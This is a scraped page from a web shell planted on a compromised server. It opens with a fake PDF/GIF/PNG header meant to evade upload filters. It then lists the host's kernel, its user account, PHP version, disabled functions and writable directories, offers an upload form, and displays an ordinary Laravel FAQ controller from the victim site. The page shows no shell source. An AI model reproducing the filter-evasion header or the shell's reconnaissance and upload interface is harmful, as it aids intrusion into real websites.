%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/app/Http/Controllers/FaqController.php
<?php

namespace App\Http\Controllers;

use App\DataTables\FaqsDataTable;
use App\Helper\Reply;
use App\Models\Faq;
use App\Http\Requests\StoreFaq;

class FaqController extends AccountBaseController
{

    public function __construct()
    {
        parent::__construct();
        $this->pageTitle = 'app.menu.faqs';
        $this->pageIcon = 'ti-file';
    }

    public function index(FaqsDataTable $dataTable)
    {
        return $dataTable->render('faqs.index', $this->data);
    }

    public function create()
    {
        $this->faqs = Faq::all();
        $this->pageTitle = __('app.createFaq');

        if (request()->ajax()) {
            $html = view('faqs.ajax.create', $this->data)->render();
            return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]);
        }

        $this->view = 'faqs.ajax.create';
        return view('faqs.create', $this->data);

    }

    public function store(StoreFaq $request)
    {
        $faq = new Faq();
        $faq->name = $request->name;
        $faq->description = $request->project_summary;
        $faq->save();

        return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => route('faqs.index')]);
    }

    public function show($id)
    {
        //

    }

    public function edit($id)
    {
        $this->faq = Faq::findOrFail($id);
        if (request()->ajax()) {
            $html = view('faqs.ajax.edit', $this->data)->render();
            return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]);
        }

        $this->view = 'faqs.ajax.edit';
        return view('faqs.create', $this->data);
    }

    public function update(StoreFaq $request, $id)
    {
        $faq = Faq::findOrFail($id);
        $faq->name = $request->name;
        $faq->description = $request->project_summary;
        $faq->save();

        return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('faqs.index')]);
    }

    public function destroy($id)
    {
        Faq::destroy($id);
        return Reply::success(__('messages.deleteSuccess'));

    }

}

VaKeR 2022